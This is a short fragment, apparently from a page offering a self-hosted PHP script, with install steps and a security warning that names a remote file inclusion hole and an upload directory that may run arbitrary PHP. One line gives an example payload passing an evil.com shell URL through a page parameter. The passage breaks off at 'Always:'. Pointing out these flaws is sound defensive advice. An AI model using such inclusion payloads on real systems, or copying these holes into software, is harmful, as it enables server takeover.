: Unzip the file and upload its contents to your web server's public directory via FTP or a file manager.

The script is self-hosted, meaning you have complete control over your data, source code, and server environment, unlike SaaS (Software as a Service) solutions that charge recurring monthly fees. The file contains the core files necessary to run this platform on your web server.

: Extract, audit, and learn—but think twice before deploying to a live domain. If you do, combine it with a Web Application Firewall (WAF) like ModSecurity, regular backups, and strict server-level permissions.

An attacker could pass http://evil.com/shell via ?page= .

: The /uploads/ directory may allow arbitrary PHP execution. Always: